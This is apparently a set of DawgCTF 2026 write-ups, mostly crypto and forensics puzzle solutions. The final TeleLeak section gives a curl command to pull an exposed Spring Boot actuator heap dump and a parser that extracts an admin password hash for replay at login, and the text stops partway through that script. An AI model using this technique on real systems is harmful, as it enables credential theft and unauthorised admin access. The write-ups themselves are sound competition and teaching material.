# DawgCTF 2026

Maybe missing some other trivial ones. Let me know and I can add it.

## crypto

### Grecian Battleship

#### Description

Can you beat the Ancient Greeks?

#### Solution

The provided `ancientbattleship` binary is a PyInstaller-packed Python/Tkinter game. Reversing the embedded `battleship.pyc` shows that the AI is not making decisions dynamically. Its moves are fully hard-coded:

```python
move_script = [
    (2, 4), (2, 3), (2, 1), (0, 0), (1, 1),
    (3, 1), (3, 4), (2, 2), (0, 4), (3, 3)
]
```

The challenge hint, `Consider why the AI behaves so predictably..`, points directly at this fixed script.

`Grecian` suggests a Polybius square, and `Battleship` gives 5x5 coordinates. Using a standard 5x5 Polybius square with `I/J` combined and treating the hard-coded pairs as 0-indexed `(row, col)` coordinates:

```python
#!/usr/bin/env python3

move_script = [
    (2, 4), (2, 3), (2, 1), (0, 0), (1, 1),
    (3, 1), (3, 4), (2, 2), (0, 4), (3, 3)
]

polybius = [
    ["A", "B", "C", "D", "E"],
    ["F", "G", "H", "I", "K"],
    ["L", "M", "N", "O", "P"],
    ["Q", "R", "S", "T", "U"],
    ["V", "W", "X", "Y", "Z"],
]

flag_text = "".join(polybius[r][c] for r, c in move_script)
print(flag_text)
```

Running that script prints:

```
POMAGRUNET
```

That raw decode is the intended answer. The accepted flag is:

```
DawgCTF{POMAGRUNET}
```

### I Hate Physics!

#### Description

The local `description.md` only contained a link to the actual challenge file in the public challenge repo. The relevant file was `STUDYME.txt`.

The text is mostly decoy physics notes. The intended signal is in the structure of the lines, not in the formulas themselves.

#### Solution

Taking the first and last character of each non-empty line reveals the message. The recovered string starts with the flag and then continues with filler text:

`DawgCTF{therm0dyn4mic5sucks!}Thisisn0tpartoftheflag!...`

So the flag is:

`DawgCTF{therm0dyn4mic5sucks!}`

Solution code:

```python
from pathlib import Path

lines = Path("STUDYME.txt").read_text().splitlines()
decoded = "".join(line[0] + line[-1] for line in lines if line)
print(decoded)
```

Equivalent one-liner:

```bash
awk 'NF{printf "%s%s", substr($0,1,1), substr($0,length($0),1)} END{print ""}' STUDYME.txt
```

### Vault Breaker

#### Description

The challenge provides a PDF note full of odd glyphs. Visual decoding points toward a pigpen-style substitution, but the faster path is to inspect the PDF itself.

Each glyph is embedded as a tagged `/Figure` object with an accessibility alt string of the form `/Alt (char\(NN\))`, where `NN` is the ASCII code for the underlying plaintext character.

Reading those numeric codes in order recovers:

`EXTREMELYLONGPASSWORD`

So the flag is:

`DawgCTF{EXTREMELYLONGPASSWORD}`

#### Solution

Solution code:

```python
from pathlib import Path
import re


pdf = Path("attachments/dawgCTF_2026_vault_breaker.pdf").read_bytes()
codes = [int(n) for n in re.findall(rb"/Alt \(char\\\((\d+)\\\)\)", pdf)]
message = "".join(map(chr, codes))
print(message)
```

Run it:

```bash
python solve.py
```

Expected output:

```
EXTREMELYLONGPASSWORD
```

### Six Seven

#### Description

The challenge implements a stream cipher:

```python
def gen(start):
    return (((6 * 7) * (start - 6) * 7) + ((start * 6) - 7) * (start ^ 6)) % 255

def encrypt(message):
    start = os.urandom(1)
    key = start
    for i in range(1, len(message)):
        key += gen(key[i - 1]).to_bytes(1, "big")
    return strxor(key, message)
```

The ciphertext is provided in `output.txt`, and the flag format is known to start with `DawgCTF{`.

#### Solution

Because this is XOR stream encryption, `ciphertext ^ plaintext = keystream`. The known prefix `DawgCTF{` reveals the first 8 keystream bytes immediately.

From the first byte:

```python
0x9f ^ ord("D") = 0xdb
```

So the initial state is `0xdb`. Applying `gen` once gives `0x4f`, and applying it again gives `0xda`. After that, `0xda` is a fixed point:

```python
gen(0xda) == 0xda
```

That means the keystream becomes constant very quickly, so the full plaintext is recovered by extending the keystream with repeated calls to `gen` and XORing it with the ciphertext.

Full solve script:

```python
import re
from pathlib import Path


def gen(start):
    return (((6 * 7) * (start - 6) * 7) + ((start * 6) - 7) * (start ^ 6)) % 255


def main():
    data = Path("output.txt").read_text()
    ct = bytes.fromhex(re.search(r"ct = ([0-9a-f]+)", data).group(1))

    prefix = b"DawgCTF{"
    key = bytearray(c ^ p for c, p in zip(ct[: len(prefix)], prefix))
    while len(key) < len(ct):
        key.append(gen(key[-1]))

    pt = bytes(c ^ k for c, k in zip(ct, key))
    print(pt.decode())


if __name__ == "__main__":
    main()
```

Running it prints:

```
DawgCTF{please_use_secrets_in_your_stream_ciphers_69bfe194af43f0cd}
```

### Sussy Friend

#### Description

We are given 12 Among Us screenshots and the hint:

`Think about what all the pictures have in common...`

The right idea is the **Hexahue cipher**. Each screenshot is a 2-column by 3-row symbol built from the same six recurring crewmates.

#### Solution

In the cafeteria screenshots, the six Hexahue colors are explicit:

* `R` = red (`Sussy CTF`)
* `G` = green (balloon)
* `B` = blue (soldier hat)
* `Y` = yellow (bunny ears)
* `C` = cyan (cowboy hat)
* `M` = magenta/pink (devil tail)

Read each image as a Hexahue block in row-major order:

1. top row, left to right
2. middle row, left to right
3. bottom row, left to right

The standard Hexahue alphabet is:

```python
hexahue = {
    "MRGYBC": "A",
    "RMGYBC": "B",
    "RGMYBC": "C",
    "RGYMBC": "D",
    "RGYBMC": "E",
    "RGYBCM": "F",
    "GRYBCM": "G",
    "GYRBCM": "H",
    "GYBRCM": "I",
    "GYBCRM": "J",
    "GYBCMR": "K",
    "YGBCMR": "L",
    "YBGCMR": "M",
    "YBCGMR": "N",
    "YBCMGR": "O",
    "YBCMRG": "P",
    "BYCMRG": "Q",
    "BCYMRG": "R",
    "BCMYRG": "S",
    "BCMRYG": "T",
    "BCMRGY": "U",
    "CBMRGY": "V",
    "CMBRGY": "W",
    "CMRBGY": "X",
    "CMRGBY": "Y",
    "CMRGYB": "Z",
}
```

The 12 screenshots decode to these Hexahue symbols in numeric filename order:

```python
symbols = {
    0: "RGMYBC",
    1: "YBCMGR",
    2: "YGBCMR",
    3: "YBCMGR",
    4: "BCYMRG",
    5: "BCMYRG",
    6: "MRGYBC",
    7: "BCYMRG",
    8: "RGYBMC",
    9: "RGYBCM",
    10: "BCMRGY",
    11: "YBCGMR",
}
```

A complete decoder:

```python
hexahue = {
    "MRGYBC": "A",
    "RMGYBC": "B",
    "RGMYBC": "C",
    "RGYMBC": "D",
    "RGYBMC": "E",
    "RGYBCM": "F",
    "GRYBCM": "G",
    "GYRBCM": "H",
    "GYBRCM": "I",
    "GYBCRM": "J",
    "GYBCMR": "K",
    "YGBCMR": "L",
    "YBGCMR": "M",
    "YBCGMR": "N",
    "YBCMGR": "O",
    "YBCMRG": "P",
    "BYCMRG": "Q",
    "BCYMRG": "R",
    "BCMYRG": "S",
    "BCMRYG": "T",
    "BCMRGY": "U",
    "CBMRGY": "V",
    "CMBRGY": "W",
    "CMRBGY": "X",
    "CMRGBY": "Y",
    "CMRGYB": "Z",
}

symbols = {
    0: "RGMYBC",
    1: "YBCMGR",
    2: "YGBCMR",
    3: "YBCMGR",
    4: "BCYMRG",
    5: "BCMYRG",
    6: "MRGYBC",
    7: "BCYMRG",
    8: "RGYBMC",
    9: "RGYBCM",
    10: "BCMRGY",
    11: "YBCGMR",
}

plaintext = "".join(hexahue[symbols[i]] for i in range(12))
flag_body = plaintext.replace("O", "0").replace("S", "5")

print(plaintext)
print(flag_body)
```

Output:

```
COLORSAREFUN
C0L0R5AREFUN
```

So the accepted flag is:

```
DawgCTF{C0L0R5AREFUN}
```

### What's your Zodiac Sign?

#### Description

The PDF contains:

* a legend page mapping custom Zodiac-like symbols to `A-Z`
* a second page with a `17 x 20` grid of those symbols

After transcribing the symbol grid with the legend, a normal row-wise read does not produce plaintext. The `17 x 20 = 340` layout is the important clue: this challenge is modeled after Zodiac `Z340`, so the text needs a Zodiac-style transposition readout.

#### Solution

After manually transcribing the second page, the decoded letter grid was:

```
eftsoauteratunabr
ealseshnspwosnood
naveceeoeeyyofaay
hkoslyihrrhharrds
rytoiioenttcttmcp
nraasothsnomsaftu
ioiuwdstatooroelo
eemysoeoeytttyhrh
fttmbosyrwllpustc
fyhspaaesenliksuo
soittayrdretakccf
noerfrzwrgeetfmeo
hnashokudmcolhuia
fdrirtthooeattiwn
miyeofedwoflrapae
ymomllbcneertelgh
otrernnlosarmetea
rctmchfeoitistali
torionaswareehten
intyeteensixninni
```

A pure toroidal `1,2` knight-move read gave strong English fragments, which suggested the intended route was very close to the real `Z340` transposition. The useful version was to split the grid into row segments `9 / 9 / 2`, then apply `1,2` decimation to the first two 9-row segments.

This script reproduces the important readout:

```python
ROWS = """eftsoauteratunabr
ealseshnspwosnood
naveceeoeeyyofaay
hkoslyihrrhharrds
rytoiioenttcttmcp
nraasothsnomsaftu
ioiuwdstatooroelo
eemysoeoeytttyhrh
fttmbosyrwllpustc
fyhspaaesenliksuo
soittayrdretakccf
noerfrzwrgeetfmeo
hnashokudmcolhuia
fdrirtthooeattiwn
miyeofedwoflrapae
ymomllbcneertelgh
otrernnlosarmetea
rctmchfeoitistali
torionaswareehten
intyeteensixninni""".splitlines()


def decimate(seg, dr, dc, sr, sc):
    h = len(seg)
    w = len(seg[0])
    seen = set()
    out = []
    r, c = sr, sc
    for _ in range(h * w):
        if (r, c) in seen:
            break
        seen.add((r, c))
        out.append(seg[r][c])
        r = (r + dr) % h
        c = (c + dc) % w
    return "".join(out)


seg1 = ROWS[:9]
seg2 = ROWS[9:18]

part1 = decimate(seg1, 1, 2, 7, 9)[::-1]
part2 = decimate(seg2, 1, 2, 0, 0)[::-1]

print(part1)
print(part2)
```

Output:

```
tookyoulessthantwodaysasarewardforyourprowessincryptoyoumaysubmitthenameofthehotelacrossthestreetfromthesfchronicletyoneyearstosolvebutthisadaptationonly
lerohorooamewthesutredtsofssaneranckiscfinocitoborheklilledamanonlyfifteenminutesfromwherehemeiledacryatogramthptcryptogaamwascalredzthreelourtyittfokfif
```

Even with a few remaining transcription/route imperfections, the clue is clear:

* `... name of the hotel across the street from the sf chronicle ...`
* `... only fifteen minutes from where he mailed a cryptogram ...`
* `... was called z three forty ...`
* `... it took fifty one years to solve ...`

So the task is to identify the hotel across the street from the San Francisco Chronicle building at Fifth and Mission. That hotel is the **Pickwick Hotel**.

Flag:

```
DawgCTF{pickwick_hotel}
```

***

## fwn

### Gen-Z Found My Registry

#### Description

We are given a Windows registry export of `HKLM\SYSTEM\CurrentControlSet\Services` in `chal.reg`. The description says the attacker turned the registry into "String Cheese" and asks for all changes made.

The first obvious anomalies are two fake services:

* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\+7`
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\-6`

Their `Parameters` subkeys contain only:

* `"evens"=""`
* `"odds"=""`

There are also two `Linkage\Export` values that were converted from registry hex data into quoted strings, matching the `String Cheese` hint:

* `.NET Data Provider for Oracle\Linkage\Export`
* `.NET Data Provider for SqlServer\Linkage\Export`

Those clues point to a parity-based character transform.

#### Solution

The actual payload is hidden in many root service keys as extra values with numeric names and single-character string data. Example:

* `DeviceAssociationService` contains `"5"="I"`
* `CmBatt` contains `"7"="L"`
* `WinRM` contains `"1"="J"`

Collecting all root-level numeric-name single-character string values gives positions `1..26`. Ordering by the numeric name produces:

```
JZ}`IMLtwn9,tX6_emn,ea7o9v
```

The fake services tell us how to decode it:

* apply `+7` to even positions
* apply `-6` to odd positions

Applying that transform yields:

```
DawgCTF{qu33n_0f_th3_h1v3}
```

Solver:

```python
from pathlib import Path
import re

text = Path("chal.utf8.reg").read_text(encoding="utf-8-sig", errors="replace").splitlines()

cur = None
chars = {}

for line in text:
    if line.startswith("["):
        cur = line[1:-1]
        continue

    m = re.match(r'^"(\d+)"="(.)"$', line)
    if not m:
        continue

    idx = int(m.group(1))
    ch = m.group(2)

    # Keep only the root service-key single-character payload entries.
    if cur and cur.startswith("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"):
        suffix = cur.split("Services\\", 1)[1]
        if "\\" not in suffix:
            chars[idx] = ch

enc = "".join(chars[i] for i in range(1, 27))
print("encoded:", enc)

flag = []
for pos, ch in enumerate(enc, 1):
    if pos % 2 == 0:
        flag.append(chr(ord(ch) + 7))
    else:
        flag.append(chr(ord(ch) - 6))

print("flag:", "".join(flag))
```

Flag:

```
DawgCTF{qu33n_0f_th3_h1v3}
```

### I Love Bacon!

#### Description

We are given a DNS capture. The local challenge directory was missing the attachment, but `description.md` linked the official repo path, which contained `dns_c2.pcap`.

The traffic is 1000 DNS queries from `10.67.0.2` to `10.1.1.53`, each with a matching TXT response under `*.dawg.cwa.sec`.

#### Solution

The query labels and TXT answers are uppercase base32-like strings. A useful anomaly is that only 3 query/response pairs have the exact same encoded value in both the request and the response TXT. Those are the suspicious packets.

Packet pairs:

* frames `533/534`
* frames `909/910`
* frames `1823/1824`

The intended decode is per-record, not one giant concatenated stream:

1. strip `.dawg.cwa.sec`
2. treat each character as a 5-bit base32 symbol using `A-Z2-7`
3. keep only full bytes from that record
4. decode the 3 echoed records
5. concatenate the resulting ASCII fragments in capture order

Code:

```python
#!/usr/bin/env python3
import subprocess

ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
LOOKUP = {c: i for i, c in enumerate(ALPHABET)}

def decode_record(s: str) -> bytes:
    bits = "".join(f"{LOOKUP[c]:05b}" for c in s.strip())
    bits = bits[: len(bits) // 8 * 8]
    return bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))

queries = subprocess.check_output(
    [
        "tshark", "-r", "dns_c2.pcap",
        "-Y", "dns.flags.response==0",
        "-T", "fields", "-e", "frame.number", "-e", "dns.qry.name",
    ],
    text=True,
).splitlines()

responses = subprocess.check_output(
    [
        "tshark", "-r", "dns_c2.pcap",
        "-Y", "dns.flags.response==1",
        "-T", "fields", "-e", "frame.number", "-e", "dns.txt",
    ],
    text=True,
).splitlines()

parts = []
for q_line, r_line in zip(queries, responses):
    q_frame, q_name = q_line.split("\t")
    r_frame, r_txt = r_line.split("\t")
    q_name = q_name.removesuffix(".dawg.cwa.sec")
    if q_name == r_txt:
        decoded = decode_record(q_name).decode("ascii")
        print(f"{q_frame}/{r_frame}: {decoded}")
        parts.append(decoded)

flag = "".join(parts)
print(flag)
```

Output:

```
533/534: DawgCTF{s1zzlin
909/910: _succul3nt
1823/1824: _c2_b4con}
DawgCTF{s1zzlin_succul3nt_c2_b4con}
```

Flag:

```
DawgCTF{s1zzlin_succul3nt_c2_b4con}
```

### Modem Metamorphosis

#### Description

Such a [sad little router](https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Modem%20Metamorphosis), assumed obsolete, cast-off and condemned to the dusty scrap heap... but who says this must be the end? Come with us, and we'll transform you into something beautiful\~

Flag format: `DawgCTF{Manufacturer_Model_OldFirmwareVersion_NewFirmwareName_NewFirmwareVersion}`

#### Solution

The provided artifact for this challenge is the packet capture `repo/Modem Metamorphosis/morph.pcap`. The solve is to recover:

* the original router manufacturer
* the original router model
* the original firmware version
* the new firmware name
* the new firmware version

The PCAP shows a user logging into a router web UI, browsing to the upgrade page, and uploading new firmware.

First, inspect the HTTP requests:

```bash
tshark -r repo/'Modem Metamorphosis'/morph.pcap -Y http.request -T fields \
  -e frame.number -e ip.src -e http.request.method -e http.host -e http.request.uri
```

The interesting request is:

```
13300  192.168.1.101  POST  192.168.1.1  /upgrade.cgi
```

The stock router identity is visible in the extracted HTTP pages and in the HTTP auth realm:

```bash
strings -a repo/'Modem Metamorphosis'/morph.pcap | rg 'WRT610N|1\.00\.00|B18|WWW-Authenticate'
```

Relevant hits:

```
WWW-Authenticate: Basic realm="WRT610N"
Firmware Version: 1.00.00 B18
WRT610N
WRT610NV1_v1.00.00.cfg
```

That gives:

* model family: `WRT610N`
* stock firmware shown by UI: `1.00.00 B18`
* backup filename strongly suggests hardware revision `V1`
* stock firmware version string itself is `1.00.00`

Next, inspect the firmware upload stream:

```bash
tshark -r repo/'Modem Metamorphosis'/morph.pcap -qz follow,http,ascii,125
```

The multipart upload contains:

```
filename="openwrt-24.10.0-bcm47xx-generic-linksys_wrt610n-v1-squashfs.bin"
```

This immediately reveals the new firmware:

* new firmware name: `OpenWrt`
* new firmware version: `24.10.0`
* target device slug: `linksys_wrt610n-v1`

To confirm the flashed image, extract the uploaded file from the POST body and inspect it. The extracted file in this solve was saved as `firmware.bin`.

```bash
binwalk firmware.bin
```

Output:

```
BIN-Header, board ID: 610N, hardware version: 4702, firmware version: 1.0.0
TRX firmware header
Squashfs filesystem
```

Then verify the OpenWrt release from the unpacked rootfs:

```bash
sed -n '1,120p' rootfs/etc/openwrt_release
sed -n '1,120p' rootfs/usr/lib/os-release
sed -n '50,70p' rootfs/lib/upgrade/platform.sh
```

Relevant values:

```
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='24.10.0'
OPENWRT_RELEASE="OpenWrt 24.10.0 r28427-6df0e3d02a"
"Linksys WRT610N V1") echo "cybertan 610N"; return;;
```

So the intended normalized flag components are:

* Manufacturer: `Linksys`
* Model: `WRT610N_V1`
* Old firmware version: `1.00.00`
* New firmware name: `OpenWrt`
* New firmware version: `24.10.0`

Final flag:

```
DawgCTF{Linksys_WRT610N_V1_1.00.00_OpenWrt_24.10.0}
```

### Let's Avoid Doing Math

#### Description

A GitHub repository contains `threat_depth_analysis.log` with 120 labeled malware samples. Each has a "Known Threat Depth" (ground truth) and "Detected Threat Depth" (prediction), classified as minor, medium, or major. We need to report per-class accuracy, false positive rate, and false negative rate for each classification in growing order of importance (minor, medium, major), formatted with a single leading zero and no trailing zeros, comma-separated.

#### Solution

The critical parsing insight is that "how accurate it was, and what our false positive and false negatives rates were **for each classification**" means ALL three metrics (accuracy, FPR, FNR) are computed **per class** using one-vs-rest binary classification, not overall accuracy + per-class FPR/FNR.

Parse the log, build the confusion matrix, and compute per-class binary metrics:

```python
import re

with open("threat_depth_analysis.log") as f:
    text = f.read()

known = re.findall(r"Known Threat Depth: (\w+)", text)
detected = re.findall(r"Detected Threat Depth: (\w+)", text)
pairs = list(zip(known, detected))

# Confusion matrix:
#             minor  medium  major
# minor:        38       0      2
# medium:        3      30      7
# major:         1       8     31

classes = ["minor", "medium", "major"]  # growing order of importance
values = []
for cls in classes:
    TP = sum(1 for k, d in pairs if k == cls and d == cls)
    FN = sum(1 for k, d in pairs if k == cls and d != cls)
    FP = sum(1 for k, d in pairs if k != cls and d == cls)
    TN = sum(1 for k, d in pairs if k != cls and d != cls)
    
    acc = (TP + TN) / len(pairs)  # per-class binary accuracy
    fpr = FP / (FP + TN)
    fnr = FN / (TP + FN)
    values.extend([acc, fpr, fnr])

# minor:  acc=0.95,  FPR=0.05,   FNR=0.05
# medium: acc=0.85,  FPR=0.1,    FNR=0.25
# major:  acc=0.85,  FPR=0.1125, FNR=0.225

flag = "DawgCTF{" + ",".join(str(v) for v in values) + "}"
print(flag)
```

**Flag**: `DawgCTF{0.95,0.05,0.05,0.85,0.1,0.25,0.85,0.1125,0.225}`

### The Step After the PCAP

#### Description

The challenge provides an LLM-generated flow report instead of the original PCAP. The description says the analyzer lost the timestamps and also failed to identify where the interesting traffic was going. We need to find the correct destination, recover the relevant payload fragments, sort them chronologically, and join them with underscores.

#### Solution

The useful clue is in the header:

* `Repeated TLS JA3 hash observed in multiple flows to the same IP address.`

That means the interesting traffic should be the set of flows sharing both:

* one destination IP
* one repeated TLS JA3 hash
* non-empty payload fragments

Parsing the log shows exactly one such channel:

* `Dst IP: 45.76.123.45`
* `TLS JA3 Hash: d2b4c6a8f0e1d3c5b7a9f2e4d6c8b0a1`

There are 41 records in that channel with real payload fragments. Sorting those records by `Timestamp` gives the payloads in the intended order. Joining those fragments with underscores produces the accepted flag.

Solution code:

```python
from pathlib import Path


TARGET_DST = "45.76.123.45"
TARGET_JA3 = "d2b4c6a8f0e1d3c5b7a9f2e4d6c8b0a1"


def parse_records(text: str):
    for chunk in text.split("--- Flow Record ")[1:]:
        record = {}
        for line in chunk.splitlines():
            if ": " in line:
                key, value = line.split(": ", 1)
                record[key] = value
        yield record


def main():
    text = Path("network_forensics.log").read_text()
    rows = []

    for record in parse_records(text):
        if record.get("Dst IP") != TARGET_DST:
            continue
        if record.get("TLS JA3 Hash") != TARGET_JA3:
            continue
        fragment = record.get("Payload Fragment")
        if not fragment or fragment == "-":
            continue
        rows.append((record["Timestamp"], fragment))

    rows.sort()
    ordered = [fragment for _, fragment in rows]
    flag = f"DawgCTF{{{'_'.join(ordered)}}}"
    print(flag)


if __name__ == "__main__":
    main()
```

Running it prints:

```
DawgCTF{HBRPO_IG8F1_CBFNO_6B9M8_0O2RA_K1VRJ_NVGFY_GWWQC_38HYF_9SXME_COSFO_GYR3X_KXWNR_EK8PK_3YR9O_UDOCU_ZRENU_N5Z3J_QIP98_Q1ZXO_I65FD_HJK1E_YY37Q_9AH8R_VHS1K_3AQ6L_6GT6M_JXK87_AU5BH_XTPDP_FF5E8_II49K_Q71N8_MTZX2_72HPO_EVB9O_OAEDO_ECVE6_PR5N8_I4P40_MGG1W1}
```

### Stomach Bug

#### Description

The challenge only gave a URL:

`https://stomachbug.umbccd.net`

Fetching `/` returned an endless attachment stream named `spew.txt`. The stream alternated between:

* A sliding printable ASCII line
* A numbered hex fragment like `|000|89504e47...`

The hex fragments contained a full PNG, then repeated in a loop.

#### Solution

One full cycle of the numbered hex lines reconstructed a valid `625x625` grayscale PNG. That PNG was itself a QR code. Scanning it produced another PNG as raw QR payload. Scanning that second PNG produced a base64 string, which decoded to the flag.

Full solve script:

```python
#!/usr/bin/env python3
from pathlib import Path
import base64
import binascii
import re
import struct
import subprocess
import urllib.request
import ssl


URL = "https://stomachbug.umbccd.net/"


def fetch_lines(limit=2000):
    ctx = ssl._create_unverified_context()
    with urllib.request.urlopen(URL, context=ctx) as r:
        data = b""
        while data.count(b"\n") < limit:
            chunk = r.read(8192)
            if not chunk:
                break
            data += chunk
    return data.decode().splitlines()


def rebuild_first_png(lines):
    hex_lines = []
    for line in lines:
        m = re.fullmatch(r"\|(\d+)\|([0-9a-f]+)", line)
        if m:
            hex_lines.append((int(m.group(1)), m.group(2)))

    cycle = []
    seen = set()
    for idx, frag in hex_lines:
        if idx in seen:
            break
        seen.add(idx)
        cycle.append(frag)

    hex_blob = "".join(cycle)
    if len(hex_blob) % 2:
        hex_blob = hex_blob[:-1]
    return binascii.unhexlify(hex_blob)


def trim_png(raw):
    sig = b"\x89PNG\r\n\x1a\n"
    start = raw.find(sig)
    if start == -1:
        raise ValueError("PNG signature not found")
    raw = raw[start:]

    pos = 8
    while pos + 8 <= len(raw):
        clen = struct.unpack(">I", raw[pos:pos + 4])[0]
        ctype = raw[pos + 4:pos + 8]
        pos += 8 + clen + 4
        if ctype == b"IEND":
            return raw[:pos]
    raise ValueError("IEND not found")


def zbar_raw(path):
    out = subprocess.check_output(["zbarimg", "--raw", path], stderr=subprocess.DEVNULL)
    # zbarimg emits UTF-8 for bytes >= 0x80, so convert back to original byte values
    return out.decode("utf-8").rstrip("\n").encode("latin1")


lines = fetch_lines()
png1 = rebuild_first_png(lines)
Path("stage1.png").write_bytes(png1)

png2 = trim_png(zbar_raw("stage1.png"))
Path("stage2.png").write_bytes(png2)

payload = zbar_raw("stage2.png").decode()
flag = base64.b64decode(payload).decode()
print(flag)
```

Running it prints:

```
DawgCTF{1_BL4M3_TH0S3_H4ZM4T_TR5CK3R5}
```

### TeleLeak

#### Description

The app exposed Spring Boot Actuator and, critically, `/actuator/heapdump`.

The intended bug was that the heap dump leaked live application objects, including the seeded admin account. The login flow hashes the password in JavaScript before sending it, so the stored SHA-256 hex digest is enough to authenticate if it is submitted directly as the `password` form value.

#### Solution

The solve path was:

1. Download the heap dump from the exposed actuator endpoint.
2. Parse `com/example/TeleLeak/User` instances out of the HPROF.
3. Recover the admin row:
   * `username = admin`
   * `role = ROLE_ADMIN`
   * `password = f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5`
4. Submit that leaked hash directly to `/login`.
5. Visit `/admin/dashboard` and read the flag.

Download:

```bash
curl -sk --http1.1 https://teleleak.umbccd.net/actuator/heapdump -o heapdump.hprof
```

Targeted HPROF extractor:

```python
#!/usr/bin/env python3
import struct

TYPE_OBJECT = 2
TYPE_BOOLEAN = 4
TYPE_CHAR = 5
TYPE_FLOAT = 6
TYPE_DOUBLE = 7
TYPE_BYTE = 8
TYPE_SHORT = 9
TYPE_INT = 10
TYPE_LONG = 11

PRIM_SIZES = {
    TYPE_BOOLEAN: 1,
    TYPE_CHAR: 2,
    TYPE_FLOAT: 4,
    TYPE_DOUBLE: 8,
    TYPE_BYTE: 1,
    TYPE_SHORT: 2,
    TYPE_INT: 4,
    TYPE_LONG: 8,
}

ROOT_SKIP = {
    0xFF: lambda ids: ids,
    0x01: lambda ids: ids * 2,
    0x02: lambda ids: ids + 8,
    0x03: lambda ids: ids + 8,
    0x04: lambda ids: ids + 4,
    0x05: lambda ids: ids,
    0x06: lambda ids: ids + 4,
    0x07: lambda ids: ids,
    0x08: lambda ids: ids + 8,
    0x89: lambda ids: ids,
    0x8A: lambda ids: ids,
    0x8B: lambda ids: ids,
    0x8C: lambda ids: ids,
    0x8D: lambda ids: ids,
    0x8E: lambda ids: ids + 8,
    0x8F: lambda ids: ids,
}


class Buf:
    def __init__(self, data: bytes, id_size: int):
        self.data = data
        self.i = 0
        self.id_size = id_size

    def read(self, n: int) -> bytes:
        out = self.data[self.i:self.i + n]
        self.i += n
        return out

    def skip(self, n: int) -> None:
        self.i += n

    def u1(self) -> int:
        out = self.data[self.i]
        self.i += 1
        return out

    def u2(self) -> int:
        out = struct.unpack_from(">H", self.data, self.i)[0]
        self.i += 2
        return out

    def u4(self) -> int:
        out = struct.unpack_from(">I", self.data, self.i)[0]
        self.i += 4
        return out

    def ident(self) -> int:
        if self.id_size != 8:
            raise ValueError("expected 8-byte HPROF IDs")
        out = struct.unpack_from(">Q", self.data, self.i)[0]
        self.i += 8
        return out

    def typed_value(self, tag: int):
        if tag == TYPE_OBJECT:
            return self.ident()
        if tag == TYPE_BOOLEAN:
            return self.u1()
        if tag == TYPE_CHAR:
            return self.u2()
        if tag == TYPE_FLOAT:
            out = struct.unpack_from(">f", self.data, self.i)[0]
            self.i += 4
            return out
        if tag == TYPE_DOUBLE:
            out = struct.unpack_from(">d", self.data, self.i)[0]
            self.i += 8
            return out
        if tag == TYPE_BYTE:
            out = struct.unpack_from(">b", self.data, self.i)[0]
            self.i += 1
            return out
        if tag == TYPE_SHORT:
            out = struct.unpack_from(">h", self.data, self.i)[0]
            self.i += 2
            return out
        if tag == TYPE_INT:
            out = struct.unpack_from(">i", self.data, self.i)[0]
            self.i += 4
            return out
        if tag == TYPE_LONG:
            out = struct.unpack_from(">q", self.data, self.i)[0]
            self.i += 8
            return out
        raise ValueError(f"unknown type tag {tag}")


def record_iter(path):
    with open(path, "rb") as f:
        while f.read(1) != b"\x00":
            pass
        id_size = struct.unpack(">I", f.read(4))[0]
        f.read(8)
        while True:
            hdr = f.read(9)
            if not hdr:
                break
            tag = hdr[0]
            length = struct.unpack(">I", hdr[5:9])[0]
            body = f.read(length)
            yield tag, body, id_size


def hierarchy_fields(class_id, classes, utf8, class_name_ids):
    chain = []
    cur = class_id
    while cur:
        chain.append(classes[cur])
        cur = classes[cur]["super"]
    chain.reverse()
    fields = []
    for info in chain:
        for name_id, type_tag in info["fields"]:
            fields.append((utf8[name_id], type_tag))
    return fields


def decode_instance(raw, class_id, classes, utf8, class_name_ids, id_size):
    buf = Buf(raw, id_size)
    out = {}
    for name, type_tag in hierarchy_fields(class_id, classes, utf8, class_name_ids):
        out[name] = buf.typed_value(type_tag)
    return out


utf8 = {}
class_name_ids = {}

for tag, body, id_size in record_iter("heapdump.hprof"):
    if tag == 1:
        utf8[struct.unpack(">Q", body[:8])[0]] = body[8:].decode("utf-8", "replace")

for tag, body, id_size in record_iter("heapdump.hprof"):
    if tag == 2:
        _, class_obj_id, _, name_id = struct.unpack(">IQIQ", body)
        class_name_ids[class_obj_id] = name_id

classes = {}
user_instances = []
string_instances = {}

for tag, body, id_size in record_iter("heapdump.hprof"):
    if tag not in (0x0C, 0x1C):
        continue
    buf = Buf(body, id_size)
    while buf.i < len(body):
        sub = buf.u1()
        if sub in ROOT_SKIP:
            buf.skip(ROOT_SKIP[sub](id_size))
            continue
        if sub == 0x20:
            class_obj_id = buf.ident()
            buf.u4()
            super_id = buf.ident()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.u4()
            cp_count = buf.u2()
            for _ in range(cp_count):
                buf.u2()
                buf.typed_value(buf.u1())
            static_count = buf.u2()
            for _ in range(static_count):
                buf.ident()
                buf.typed_value(buf.u1())
            fields = []
            inst_count = buf.u2()
            for _ in range(inst_count):
                fields.append((buf.ident(), buf.u1()))
            classes[class_obj_id] = {"super": super_id, "fields": fields}
        elif sub == 0x21:
            obj_id = buf.ident()
            buf.u4()
            class_id = buf.ident()
            data_len = buf.u4()
            raw = buf.read(data_len)
            name = utf8.get(class_name_ids.get(class_id, 0), "")
            if name == "com/example/TeleLeak/User":
                user_instances.append((obj_id, class_id, raw))
            elif name == "java/lang/String":
                string_instances[obj_id] = (class_id, raw)
        elif sub == 0x22:
            buf.ident()
            buf.u4()
            buf.skip(buf.u4() * id_size + id_size)
        elif sub == 0x23:
            buf.ident()
            buf.u4()
            n = buf.u4()
            buf.skip(n * PRIM_SIZES[buf.u1()])
        elif sub == 0xC3:
            buf.ident()
        elif sub == 0xC4:
            buf.ident()
            buf.u4()
        elif sub == 0xC5:
            buf.ident()
        else:
            raise ValueError(f"unknown heap subtag {sub:#x}")

needed_strings = set()
decoded_users = []
for obj_id, class_id, raw in user_instances:
    decoded = decode_instance(raw, class_id, classes, utf8, class_name_ids, id_size)
    decoded_users.append(decoded)
    for value in decoded.values():
        if value in string_instances:
